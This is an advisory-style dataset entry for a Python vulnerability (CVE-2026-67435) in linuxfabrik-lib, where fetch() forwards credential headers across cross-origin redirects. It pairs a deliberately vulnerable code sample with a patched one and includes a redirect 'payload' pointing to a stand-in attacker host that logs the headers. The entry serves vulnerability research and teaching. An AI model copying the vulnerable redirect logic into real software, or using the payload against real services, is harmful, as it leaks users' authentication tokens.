CVE-2026-67435
lib.url.fetch() forwards headers during cross-origin redirects.
- CVSS 6.0
- 200
- Information Leakage
- Remote
linuxfabrik-lib provides Python modules for database access, caching, shell execution, and API integrations. Prior to version 6.0.0, lib.url.fetch() followed cross-origin redirects while forwarding caller-supplied credential headers other than Authorization and Cookie, allowing a malicious redirect-capable server to receive headers such as X-Auth-Token from authenticated monitoring requests. This issue is fixed in version 6.0.0.
- CWE
- 200
- CVSS base score
- 6.0
- Published
- 2026-07-29
- OWASP
- A10 Server-Side Request Forgery
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Information Leakage
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- linuxfabrik-
- Fixed by upgrading
- Yes
Solution
Upgrade linuxfabrik-lib to version 6.0.0 or later.
Vulnerable code sample
import requests
from urllib.parse import urljoin, urlparse
def fetch(url, headers=None, max_redirects=5):
"""
A simplified representation of linuxfabrik-lib.url.fetch,
manually handling redirects.
"""
current_url = url
current_headers = headers or {}
for _ in range(max_redirects):
response = requests.get(
current_url,
headers=current_headers,
allow_redirects=False,
timeout=10,
)
if not response.is_redirect:
return response
redirect_url = response.headers.get('Location')
if not redirect_url:
return response
new_url = urljoin(current_url, redirect_url)
# VULNERABLE: All headers, including credentials, are reused for the next request without checking for a cross-origin redirect.
current_url = new_url
# current_headers is not modified, so it's passed to the next iteration.
raise requests.exceptions.TooManyRedirects("Exceeded max redirects")Patched code sample
import requests
from urllib.parse import urljoin, urlparse
def fetch(url, headers=None, max_redirects=5):
"""
A simplified representation of linuxfabrik-lib.url.fetch,
manually handling redirects.
"""
current_url = url
current_headers = headers or {}
sensitive_headers_lower = {'x-auth-token', 'x-api-key'}
for _ in range(max_redirects):
response = requests.get(
current_url,
headers=current_headers,
allow_redirects=False,
timeout=10,
)
if not response.is_redirect:
return response
redirect_url = response.headers.get('Location')
if not redirect_url:
return response
new_url = urljoin(current_url, redirect_url)
original_origin = urlparse(current_url)
new_origin = urlparse(new_url)
# FIX: On cross-origin redirects, sensitive headers are stripped before the next request.
if (original_origin.scheme, original_origin.hostname, original_origin.port) != \
(new_origin.scheme, new_origin.hostname, new_origin.port):
current_headers = {
k: v for k, v in current_headers.items()
if k.lower() not in sensitive_headers_lower
}
current_url = new_url
raise requests.exceptions.TooManyRedirects("Exceeded max redirects")Payload
HTTP/1.1 302 Found
Location: https://attacker-controlled-server.com/log_headers
Content-Length: 0
Cite this entry
@misc{vaitp:cve202667435,
title = {{lib.url.fetch() forwards headers during cross-origin redirects.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-67435},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-67435/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
